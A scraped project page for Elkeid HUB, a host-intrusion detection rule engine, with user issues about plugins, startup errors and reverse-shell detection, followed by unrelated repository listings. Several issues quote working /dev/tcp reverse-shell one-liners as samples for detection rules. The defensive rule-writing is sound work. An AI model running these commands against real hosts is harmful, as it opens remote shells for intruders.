Elkeid HUB - A rule/event processing engine maintained by the Elkeid Team that supports streaming/offline data processing

Overview

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/etc. raw data, TPS ninety million/s. HUB scheduling instance 4000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Getting Started

Elkeid-HUB Quick Start

Elkeid-HUB Demo(Chinese version only)

Elkeid HUB Handbook (chinese only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project(Just Example)

Elkeid Project

(Need to use with Elkeid)

Community Version

  • Does not support cluster mode, only supports single node.
  • No front-end support, no data visualization capabilities, no front-end management capabilities.
  • Rule/RuleSet/Project Debug capabilities are not supported.
  • WorkSpace is not supported, user management is not supported.
  • No operation and maintenance management capabilities.

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

Comments
  • 执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout,没有该文件 image

    opened by crazyydevil 11
  • CUSTOM_ALLDATA 类型调用插件未生效

    CUSTOM_ALLDATA 类型调用插件未生效

    规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

        <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
            <rule_name>pipe_shell_custom_detect</rule_name>
            <alert_data>True</alert_data>
            <harm_level>high</harm_level>
            <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
            <filter part="data_type">59</filter>
            <check_list>
                <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                    <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
                </check_node> -->
                <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
            </check_list>
            <node_designate></node_designate>
            <del />
            <modify></modify>
            <action />
            <append type="static" append_field_name="alert_type_us">persistent</append>
            <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
        </rule>
    

    【DetectTTY】插件代码

    from ast import Try
    import json
    
    class Plugin(object):
    
        def __init__(self):
            self.name = None
            self.type = None
            self.log = None
            self.redis = None
    
        def plugin_exec(self, arg, config):
            self.log.info(arg)
            result = dict()
            try:
                data = json.loads(arg)
                tty = data['tty']
                new_tty = tty[:3]+'/'+tty[3:]
                if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                    result["flag"] = False
                    result["msg"] = arg
                    self.log.info('false')
                else:
                    result["flag"] = True
                    result["msg"] = arg
                    self.log.info('true')
            except Exception as e:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('exce')
                return  result
    

    目录【DetectTTY/elkeid.txt】的内容

    [[email protected] DetectTTY]# cat elkeid.txt 
    [plugin]
    name = DetectTTY
    type = Custom
    description = tty
    runtime = Python
    author = mg
    

    执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

    Wa8ievVkAc

    m55BhBUzNs

    opened by 0xlwoe21k 6
  • python插件进程未知原因挂了

    python插件进程未知原因挂了

    我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

    告警 -> 邮件 告警 -> 钉钉

    个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

    麻烦官方看看。

    错误如下:

    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
        sleep()
      File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
        waiter.get()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
        return self.hub.switch()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
        return _greenlet_switch(self) # pylint:disable=undefined-variable
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
        return self.__switch('switch', (args, kwds))
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
        args, kwds = unbound_method(current, *baseargs, to=target)
      File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
        result = self._run(*self.args, **self.kwargs)
      File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
        zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
      File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
        IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
      File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
        exit(0)
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
        raise SystemExit(code)
    SystemExit: 0
    2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit
    
    opened by 0xlwoe21k 2
  • cat 反弹shell规则的判断

    cat 反弹shell规则的判断

    exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

    { "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

    这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    麻烦评估下这个 规则改动,

    https://github.com/bytedance/Elkeid-HUB/pull/4

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 0
  • plugin存在的问题

    plugin存在的问题

    在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容:

    class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None
    
    def plugin_exec(self, arg, config):
        self.log.info(arg)
        self.log.info(config)
        arg=json.dumps(arg,indent=2) 
        result = dict()
        headers = {
            'Content-Type': 'application/json ',
            'charset':'utf-8',
        } 
        data = {
            "app_id": app_id,
            "app_secret": app_secret,
        }
        data=json.dumps(data,indent=2)    
        response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
        self.log.info(response.json())
        token=response.json()['tenant_access_token']
        headers = {
            'Authorization': 'Bearer '+token,
            'Content-Type': 'application/json; charset=utf-8',
        }   
        data = {
            "open_chat_id":config["id"],
            "msg_type":"text",
            "content":{
                "text":arg,
            }       
        }
        data=json.dumps(data,indent=2) 
        self.log.info(data)
        response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
        self.log.info(response.json())
        result["done"] = True
        return result
    

    自己创建了一个plugin,名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

    然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

    最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。 image

    opened by gdianq 1
Owner
Bytedance Inc.
Bytedance Inc.
Discord Auto bumper made in python, just a simple auto bumper that I made.

Discord Auto bumper made in python, just a simple auto bumper that I made.

XPTGR 0 Dec 04, 2021
Compulsory join Telegram Bot

mussjoin About Compulsory join Telegram Bot this Telegram Bot Application can be added users to Telegram Channel or Group compulsorily. in addition wh

Hamed Mohammadvand 4 Dec 03, 2021
Discord bot that generates boba drinks. Submission for sunhacks 2021

boba-bot Team Poggies' submission for Sunhacks 2021. Find our project page on Devpost, and a video demonstration can be found on YouTube. Commands $he

Joshua Tenorio 3 Nov 02, 2022
Python based league of legends orbwalker

League of Legends Orbwalker Usage Install python3 Create a python3 venv Install the requirements pip install -r requirements.txt Get in game and run m

Inusha 43 Dec 12, 2022
Satoshi is a discord bot template in python using discord.py that allow you to track some live crypto prices with your own discord bot.

Satoshi ~ DiscordCryptoBot Satoshi is a simple python discord bot using discord.py that allow you to track your favorites cryptos prices with your own

Théo 2 Sep 15, 2022
Repositorio dedicado a contener los archivos fuentes del bot de discord "Lector de Ejercicios".

Lector de Ejercicios Este bot de discord está pensado para usarse únicamente en el discord de la materia Algoritmos y Programación I, de la Facultad d

Franco Lighterman Reismann 3 Sep 17, 2022
Maubot azuracast - A maubot to fetch data from your radio station

Maubot Azuracast A maubot to fetch data from your radio station Setup Configure

3 Mar 14, 2022
A modern Python client for controlling Wyze devices.

Python Wyze SDK A modern Python client for controlling Wyze devices. Whether you're building a custom app, or integrating into a third-party service l

Shaun Tarves 205 Jan 02, 2023
Telegram Group Calls Streaming bot with some useful features, written in Python with Pyrogram and Py-Tgcalls. Supporting platforms like Youtube, Spotify, Resso, AppleMusic, Soundcloud and M3u8 Links.

Yukki Music Bot Yukki Music Bot is a Powerful Telegram Music+Video Bot written in Python using Pyrogram and Py-Tgcalls by which you can stream songs,

Team Yukki 996 Dec 28, 2022
Design and build a wrapper for the Open Weather API current weather data service

Design and build a wrapper for the Open Weather API current weather data service that returns a city's temperature, with caching, also allowing for the temperature of the latest queried cities that a

Duan Rafael Ribeiro 1 Jun 27, 2022
Unofficial calendar integration with Gradescope

Gradescope-Calendar This script scrapes your Gradescope account for courses and assignment details. Assignment details currently can be transferred to

6 May 06, 2022
BleachBit system cleaner for Windows and Linux

BleachBit BleachBit cleans files to free disk space and to maintain privacy. Running from source To run BleachBit without installation, unpack the tar

1.9k Jan 06, 2023
“ Hey there 👋 I'm Daisy „ AI based Advanced Group Management Bot Suit For All Your Needs ❤️.. Source Code of @Daisyxbot

Project still under heavy development Everything will be changed in the release “ Hey there 👋 I'm Daisy „ AI based Advanced telegram Group Management

TeamDaisyX 43 Nov 12, 2022
This repository is used to simplify the process of cloning the SSM documents across the AWS regions.

SSM Cloner Introduction This module is created in order to simplify the process of copying the SSM documents from one region to another regions. As an

6 Jun 04, 2022
Discord Bot for SurPath Hub's server

Dayong Dayong is dedicated to helping Discord servers build and manage their communities. Multipurpose —lots of features, lots of automation. Self-hos

SurPath Hub 6 Dec 18, 2021
Asynchronous python aria2 mirror bot Telegram.

aioaria2-mirror-bot A Bot for Telegram made with Python using Pyrogram library. It needs Python 3.9 or newer to run. THIS BOT IS INTENDED TO BE USED O

Adek 85 Jan 03, 2023
TeslaPy - A Python implementation based on unofficial documentation of the client side interface to the Tesla Motors Owner API

TeslaPy - A Python implementation based on unofficial documentation of the client side interface to the Tesla Motors Owner API, which provides functiona

Tim Dorssers 233 Dec 30, 2022
Self-adjusting, auto-compounding multi-pair DCA crypto trading bot using Python, AWS Lambda & 3Commas API

Self-adjusting, auto-compounding multi-pair DCA crypto trading bot using Python, AWS Lambda & 3Commas API The following code describes how we can leve

Jozef Jaroščiak 21 Dec 07, 2022
A generative art library for NFT avatar and collectible projects.

Generative NFT Art Introduction The generative-art-nft repository is a library for creating generative art. It was developed for the purpose of creati

Rounak Banik 657 Jan 02, 2023
Opensea-upload-with-recaptcha-solution - Updated opensea uploading solution with recaptcha pass

opensea-upload-with-recaptcha-solution updated opensea uploading solution with r

byeonggeon sim 25 Nov 15, 2022